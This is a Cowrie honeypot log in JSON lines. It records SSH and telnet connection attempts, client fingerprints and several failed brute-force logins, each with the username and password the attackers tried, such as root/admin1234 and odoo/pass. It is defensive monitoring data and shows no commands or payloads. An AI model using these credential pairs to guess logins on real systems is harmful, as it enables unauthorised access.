{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:53.132905Z","src_ip":"152.32.213.101","session":"68fb6c48a361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44096,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8d60a60e6dd","protocol":"telnet","message":"New connection: 144.79.218.12:44096 (10.17.0.5:23) [session: b8d60a60e6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:57.243838Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42502,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cbd66443b13","protocol":"telnet","message":"New connection: 144.79.218.12:42502 (10.17.0.5:23) [session: 5cbd66443b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:59.381286Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":36048,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fcb4bfb2356","protocol":"ssh","message":"New connection: 112.217.199.222:36048 (10.17.0.5:22) [session: 3fcb4bfb2356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:05.792647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:05.797557Z","src_ip":"112.217.199.222","session":"3fcb4bfb2356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:06.003812Z","src_ip":"112.217.199.222","session":"3fcb4bfb2356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42510,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1624afb5904","protocol":"telnet","message":"New connection: 144.79.218.12:42510 (10.17.0.5:23) [session: e1624afb5904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:06.246745Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kd@123456","message":"login attempt [root/Kd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:06.866248Z","src_ip":"112.217.199.222","session":"3fcb4bfb2356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:08.077918Z","src_ip":"112.217.199.222","session":"3fcb4bfb2356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":60230,"dst_ip":"159.203.135.109","dst_port":22,"session":"d80a1f7bc7e2","protocol":"ssh","message":"New connection: 68.183.236.1:60230 (159.203.135.109:22) [session: d80a1f7bc7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:09.927711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:09.932747Z","src_ip":"68.183.236.1","session":"d80a1f7bc7e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:10.178723Z","src_ip":"68.183.236.1","session":"d80a1f7bc7e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57518,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b4b231e85ea","protocol":"ssh","message":"New connection: 159.203.92.129:57518 (159.203.135.109:22) [session: 4b4b231e85ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:10.319454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:10.323714Z","src_ip":"159.203.92.129","session":"4b4b231e85ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:10.327703Z","src_ip":"159.203.92.129","session":"4b4b231e85ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"11111","message":"login attempt [alex/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:10.338239Z","src_ip":"159.203.92.129","session":"4b4b231e85ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newftpuser","password":"newftpuser123","message":"login attempt [newftpuser/newftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:11.189140Z","src_ip":"68.183.236.1","session":"d80a1f7bc7e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:11.344269Z","src_ip":"159.203.92.129","session":"4b4b231e85ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:12.437924Z","src_ip":"68.183.236.1","session":"d80a1f7bc7e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.67496991157532,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:12.482928Z","src_ip":"144.79.218.12","session":"04b9e3a793cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40872,"dst_ip":"10.17.0.5","dst_port":23,"session":"34f4ee6a9b85","protocol":"telnet","message":"New connection: 144.79.218.12:40872 (10.17.0.5:23) [session: 34f4ee6a9b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:12.722196Z"}
{"eventid":"cowrie.session.closed","duration":33.483620166778564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:16.516438Z","src_ip":"144.79.218.12","session":"81c0c304b8ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.014824867248535,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:17.354979Z","src_ip":"144.79.218.12","session":"b2cae8beca92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":37092,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b8fe4cd3996","protocol":"ssh","message":"New connection: 91.134.240.52:37092 (159.203.135.109:22) [session: 5b8fe4cd3996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:19.833214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:19.840617Z","src_ip":"91.134.240.52","session":"5b8fe4cd3996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:19.918602Z","src_ip":"91.134.240.52","session":"5b8fe4cd3996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:20.233949Z","src_ip":"91.134.240.52","session":"5b8fe4cd3996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:21.328855Z","src_ip":"91.134.240.52","session":"5b8fe4cd3996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.10775184631348,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:33.351485Z","src_ip":"144.79.218.12","session":"b8d60a60e6dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.47626447677612,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:33.857430Z","src_ip":"144.79.218.12","session":"5cbd66443b13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":55226,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e8ac2fdf491","protocol":"telnet","message":"New connection: 144.79.218.12:55226 (10.17.0.5:23) [session: 5e8ac2fdf491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:37.819948Z"}
{"eventid":"cowrie.session.closed","duration":37.72002625465393,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:43.966645Z","src_ip":"144.79.218.12","session":"e1624afb5904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49358,"dst_ip":"159.203.135.109","dst_port":22,"session":"89efbc0ebde1","protocol":"ssh","message":"New connection: 159.203.92.129:49358 (159.203.135.109:22) [session: 89efbc0ebde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:50.644295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:50.648547Z","src_ip":"159.203.92.129","session":"89efbc0ebde1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:50.652341Z","src_ip":"159.203.92.129","session":"89efbc0ebde1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"111111","message":"login attempt [alex/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:50.662515Z","src_ip":"159.203.92.129","session":"89efbc0ebde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.68530797958374,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:51.407401Z","src_ip":"144.79.218.12","session":"34f4ee6a9b85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:51.667364Z","src_ip":"159.203.92.129","session":"89efbc0ebde1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":22958,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e79c5993b0b","protocol":"ssh","message":"New connection: 152.32.213.101:22958 (159.203.135.109:22) [session: 6e79c5993b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:52.175612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:52.189118Z","src_ip":"152.32.213.101","session":"6e79c5993b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:52.399415Z","src_ip":"152.32.213.101","session":"6e79c5993b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"pass","message":"login attempt [odoo/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:53.258996Z","src_ip":"152.32.213.101","session":"6e79c5993b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:54.488486Z","src_ip":"152.32.213.101","session":"6e79c5993b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52392,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e0949cb3da","protocol":"telnet","message":"New connection: 144.79.218.12:52392 (10.17.0.5:23) [session: c3e0949cb3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:55.556536Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52404,"dst_ip":"10.17.0.5","dst_port":23,"session":"416fafdf5c84","protocol":"telnet","message":"New connection: 144.79.218.12:52404 (10.17.0.5:23) [session: 416fafdf5c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:55.830326Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52416,"dst_ip":"10.17.0.5","dst_port":23,"session":"b150cda5e82f","protocol":"telnet","message":"New connection: 144.79.218.12:52416 (10.17.0.5:23) [session: b150cda5e82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:57.042605Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52422,"dst_ip":"10.17.0.5","dst_port":23,"session":"22f61b99a256","protocol":"telnet","message":"New connection: 144.79.218.12:52422 (10.17.0.5:23) [session: 22f61b99a256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:33:57.147607Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59978,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0727765230e","protocol":"telnet","message":"New connection: 144.79.218.12:59978 (10.17.0.5:23) [session: e0727765230e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:01.490228Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59992,"dst_ip":"10.17.0.5","dst_port":23,"session":"60e25cd90de2","protocol":"telnet","message":"New connection: 144.79.218.12:59992 (10.17.0.5:23) [session: 60e25cd90de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:34:01.658816Z"}
